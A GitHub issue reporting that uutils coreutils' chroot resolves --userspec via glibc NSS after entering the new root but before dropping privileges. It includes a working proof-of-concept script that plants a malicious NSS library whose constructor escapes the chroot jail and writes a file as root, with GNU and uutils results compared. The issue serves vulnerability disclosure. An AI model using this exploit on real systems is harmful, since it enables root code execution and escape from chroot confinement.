Skip to content

chroot --userspec NSS Injection Before Privilege Drop (glibc) #10327

@sylvestre

Description

@sylvestre

Component

chroot

Description

uutils resolves --userspec after chroot() but before dropping privileges. On glibc this can reach getpwnam() → NSS, which reads nsswitch.conf and may dlopen() NEWROOT’s libnss_*.so.2, so a writable NEWROOT can inject code execution at that point.

fn set_context(options: &Options) -> UResult<()> {
    enter_chroot(&options.newroot, options.skip_chdir)?;

    match &options.userspec {
        // ...
        Some(UserSpec::UserOnly(user)) => {
            let uid = name_to_uid(user)?; // ===> getpwnam() -> NSS -> dlopen()
            let gid = uid as libc::gid_t;
            let strategy = Strategy::FromUID(uid, false);
            set_supplemental_gids_with_strategy(strategy, options.groups.as_ref())?;
            set_gid(gid).map_err(|e| ChrootError::SetGidFailed(user.to_string(), e))?;
            set_uid(uid).map_err(|e| ChrootError::SetUserFailed(user.to_string(), e))?;
        }
    }
    Ok(())
}

Test / Reproduction Steps

test.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT=/tmp/nss_poc
nssdir=$(dirname "$(ldconfig -p | awk '/libnss_files\.so\.2/{print $NF; exit}')")

rm -rf "$ROOT"
mkdir -p "$ROOT/etc" "$ROOT/tmp" "$ROOT$nssdir"
printf 'passwd: evilnss\n' >"$ROOT/etc/nsswitch.conf"

gcc -shared -fPIC -o "$ROOT$nssdir/libnss_evilnss.so.2" -x c - <<'EOF'
#include <nss.h>
#include <pwd.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor))
static void pwn(void){
  mkdir("escape_jail", 0755);
  int fd = open(".", O_RDONLY);
  chroot("escape_jail");

  fchdir(fd);
  for (int i = 0; i < 100; i++) {
    chdir("..");
  }
  chroot(".");
  int fd2=open("/tmp/pwned",O_WRONLY|O_CREAT|O_TRUNC,0644);
  if(fd2>=0){write(fd2,"PWNED\n",6);close(fd);}
}
enum nss_status _nss_evilnss_getpwnam_r(const char*, struct passwd*, char*, size_t, int*){
  return NSS_STATUS_NOTFOUND;
}
EOF

rm -f /tmp/pwned "$ROOT/tmp/pwned"
sudo ./target/release/coreutils chroot --userspec=nosuchuser "$ROOT" /no_such_cmd 2>/dev/null || true
ls -la "/tmp/pwned"
  • GNU (change "./target/release/coreutils chroot" to "chroot"):
$ ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
  • uutils:
$ ls -la /tmp/pwned
-rw-r--r-- 1 root root /tmp/pwned

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions